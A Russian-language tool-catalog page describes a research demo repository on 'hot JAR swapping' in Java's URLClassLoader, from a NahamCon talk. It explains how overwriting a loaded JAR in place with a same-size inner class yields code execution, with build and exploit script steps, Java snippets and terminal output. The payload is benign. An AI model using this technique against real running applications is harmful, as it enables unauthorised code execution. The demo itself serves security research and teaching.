Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Инструменты/GitHubGitHub/fransr/hot-jar-swapping-urlclassloader
ЭксплуатацияОбучение и ОбразованиеRed TeamingРазработка Полезной Нагрузки
GitHubfransr/hot-jar-swapping-urlclassloader

hot-jar-swapping-urlclassloader

Демонстрация JAR-swapping в URLClassLoader, показывающая возможность заменять и эксплуатировать уже загруженный JAR с внутренними классами.

Репозиторий
32723 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

URLClassLoader: горячая замена JAR

Приведённый ниже пример кода демонстрирует возможность «горячей» замены уже загруженного JAR-файла и получения выполнения кода за счёт того, что внутренние классы по-прежнему обращаются к JAR-файлу при вызове, если inode не меняется.

Проверено на MacOS с OpenJDK (а также эксплуатировалось в издателе Apple Author с помощью Transporter).

Демо из доклада Франса Розена «Story of a RCE on Apple through hot jar swapping» на NahamCon 2022 EU.

Как запустить

build-and-run.sh

Запускается так:

root@kitploit:~
./build-and-run.sh

Этот скрипт:

root@kitploit:~
Compile HelloWorld/*.java into HelloWorld.jar
Compile Bootstrapper/*.java into Bootstrapper.jar
Make a copy of HelloWorld.jar into OrigHelloWorld.jar
Run Bootstrapper.jar

Bootstrapper загрузит и запустит класс HelloWorld.Main через URLClassLoader и предложит вам вызвать метод hello класса , который тоже уже был загружен. Это нужно для контроля момента замены уже загруженного JAR-файла.

HelloWorld.Secondary
root@kitploit:~
$ ./build-and-run.sh 
Hello from Main-class
Click enter when you want to trigger the secondary class method
(run ./exploit.sh to replace JAR)

Теперь вы можете решить, нажать ли Enter без замены JAR — в этом случае вы увидите обычный ход выполнения кода из HelloWorld/Secondary.java:

root@kitploit:~
Hello from secondary class, here are all files in testdir/

testdir/hej
testdir/hej123

This is from the legit postVisitDirectory function:
testdir

End of run, goodbye

exploit.sh

Скрипт exploit.sh делает следующее:

root@kitploit:~
Compile Exploit/HelloWorld/*.java and move *.class files over to BuildDirForExploit/
Compile a exploit.jar from BuildDirForExploit/-dir
Compare the exploit.jar and OrigHelloWorld.jar using unzip -lv
Tell you if there's a diff or not based on size, compression rate and compression size
Copy exploit.jar over the existing HelloWorld.jar regardless if there's a difference or not

Важна именно операция копирования при перезаписи HelloWorld.jar файлом exploit.jar, потому что если inode изменится, эксплойт не сработает. Команда mv создаёт новый inode, а cp в существующий файл — нет. То же самое происходило при извлечении ZIP: inode уже существующего JAR никогда не менялся, что позволяло эксплойту работать.

Если вы хотите проверить горячую замену JAR, запустите exploit.sh в отдельном окне после запуска, но до нажатия Enter при вызове build-and-run.sh:

root@kitploit:~
$ ./build-and-run.sh 
Hello from Main-class
Click enter when you want to trigger the secondary class method
(run ./exploit.sh to replace JAR)

## Run this in a different terminal:

$ ./exploit.sh 

NO DIFF IN COMPRESSION, EXPLOIT WILL SUCCEED

-rw-r--r--  1 frans  staff  2281 Dec  9 13:20 rce.jar
-rw-r--r--@ 1 frans  staff  2281 Dec  9 13:20 ../HelloWorld.jar

## Now click enter in the other tab to complete the ./build-and-run.sh)

Если теперь нажать Enter в ./build-and-run.sh, вы должны увидеть вместо этого заменённый код:

root@kitploit:~
Hello from secondary class, here are all files in testdir/

testdir/hej
testdir/hej123
AAAAAAAFGFFFFAAAGAAAAFAAAAAFFFFFAAAFA different code
testdir

End of run, goodbye

Это показывает, что мы можем злоупотребить тем, что внутренние/анонимные классы по-прежнему загружаются из физического JAR-файла, даже если URLClassLoader уже загрузил JAR до его замены.

Объяснение проблемы

Этот репозиторий с кодом объясняет, что можно перезаписывать уже загруженные JAR-файлы и получать выполнение кода при соблюдении нескольких предварительных условий.

Идея в том, что JAR изначально загружается через URLClassLoader:

root@kitploit:~
        URL[] classLoaderUrls = new URL[]{new URL("file://" + System.getProperty("user.dir") + "/HelloWorld.jar")};
        URLClassLoader urlClassLoader = new URLClassLoader(classLoaderUrls);
        Class<?> beanClass = urlClassLoader.loadClass("HelloWorld.Main");
        Constructor<?> constructor = beanClass.getConstructor();
        Object beanObj = constructor.newInstance();
        Method method = beanClass.getMethod("hello");

А вторичный класс также загружался при запуске, но ни разу не вызывался:

root@kitploit:~
        // Initiating the secondary class on boot, this is the one we replace the inner class of
        Class<?> secondaryClass = urlClassLoader.loadClass("HelloWorld.Secondary");
        Constructor<?> secondaryConstructor = secondaryClass.getConstructor();
        Object secondaryObj = secondaryConstructor.newInstance();
        Method secondaryMethod = secondaryClass.getMethod("hello");

Если затем заменить JAR во время работы приложения, и у класса, который был загружен, но у которого ни разу не вызывались методы, есть внутренние классы, мы сможем заставить его выполнить другой код из нового JAR, если вызов произойдёт позже:

root@kitploit:~
        // Invoke secondary class hello that contains an inner class
        secondaryMethod.invoke(secondaryObj);

Итак, если этот метод содержит внутренний класс (в JAR они отображаются как $1.class), и мы заменим этот внутренний класс на что-то с тем же размером и степенью сжатия, мы сможем выполнить горячую замену JAR и запустить собственный код.

Объяснение эксплойта

Анонимный класс из файла Exploit/HelloWorld/Secondary.java компилируется во внутренний класс Exploit/HelloWorld/Secondary$1.class, размер и степень сжатия которого совпадают с теми, что получаются при компиляции и сжатии HelloWorld/Secondary.java. Если бы размер или степень сжатия отличались, при нажатии Enter в build-and-run.sh произошёл бы сбой.

Так, если изменить Exploit/HelloWorld/Secondary.java, например (functionn вместо function:):

root@kitploit:~
          public FileVisitResult postVisitDirectory(Path dir, IOException exc) throws IOException {
            System.out.println("\nThis is from the legit postVisitDirectory functionn");
            System.out.println(dir);
            return FileVisitResult.CONTINUE;
          }

В этом случае результат сжатия тот же, но степень сжатия неверная:

root@kitploit:~
$ ./exploit.sh 
6c6
< 1430 643 55% HelloWorld/Secondary$1.class
---
> 1430 644 55% HelloWorld/Secondary$1.class
DIFF IN COMP, EXPLOIT WILL CRASH
-rw-r--r--  1 frans  staff  2280 Dec  9 13:44 exploit.jar
-rw-r--r--@ 1 frans  staff  2281 Dec  9 13:44 ../HelloWorld.jar

вы увидите:

root@kitploit:~
Hello from Main-class
Click enter when you want to trigger the secondary class method
(run ./exploit.sh to replace JAR)

Hello from secondary class, here are all files in testdir/

Exception in thread "main" java.lang.reflect.InvocationTargetException
	at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
	at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
	at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
	at java.lang.reflect.Method.invoke(Method.java:498)
	at Bootstrapper.Main.main(Main.java:38)
Caused by: java.lang.NoClassDefFoundError: HelloWorld/Secondary$1
	at HelloWorld.Secondary.hello(Secondary.java:11)
	... 5 more
Caused by: java.lang.ClassNotFoundException: HelloWorld.Secondary$1
	at java.net.URLClassLoader.findClass(URLClassLoader.java:387)
	at java.lang.ClassLoader.loadClass(ClassLoader.java:418)
	at java.lang.ClassLoader.loadClass(ClassLoader.java:351)
	... 6 more

На OpenJDK, похоже, если исходный размер отличается, но размер сжатого файла тот же, это всё равно работает:

root@kitploit:~
          public FileVisitResult postVisitDirectory(Path dir, IOException exc) throws IOException {
            System.out.println("AAAADDAAAAAAAAAFFAAAAAAAAAAAAAFFAAAAGGAAGGAAAGPTAAFPFAFPAPA");
            System.out.println(dir);
            return FileVisitResult.CONTINUE;
          }
root@kitploit:~
$ ./exploit.sh 
6c6
< 1437 644 55% HelloWorld/Secondary$1.class
---
> 1430 644 55% HelloWorld/Secondary$1.class
9c9
< 2895 45% 5
---
> 2888 45% 5
DIFF IN COMP, EXPLOIT WILL CRASH
-rw-r--r--  1 frans  staff  2281 Dec  9 13:52 exploit.jar
-rw-r--r--@ 1 frans  staff  2282 Dec  9 13:52 ../HelloWorld.jar
root@kitploit:~
Hello from secondary class, here are all files in testdir/

testdir/hej
testdir/hej123
AAAADDAAAAAAAAAFFAAAAAAAAAAAAAFFAAAAGGAAGGAAAGPTAAFPFAFPAPA
testdir

Скрипт exploit.sh всё равно сообщит о различии, поскольку это может не работать во всех версиях.

Вы также увидите, что если изменить в Exploit/HelloWorld/Secondary.java что-то за пределами внутреннего класса, например:

root@kitploit:~
System.out.println("\nEnd of run, goodbye");

на:

root@kitploit:~
System.out.println("\nEnd of run, goodbya");

что сделает Secondary.class с той же степенью сжатия и размером, это всё равно не запустит заменённое содержимое, поскольку класс уже загружен URLClassLoader. Это подтверждает, что затрагиваются только внутренние классы (те, что называются $1.class в JAR), так как они загружаются из JAR-файла при использовании:

root@kitploit:~
End of run, goodbye
Скачать инструмент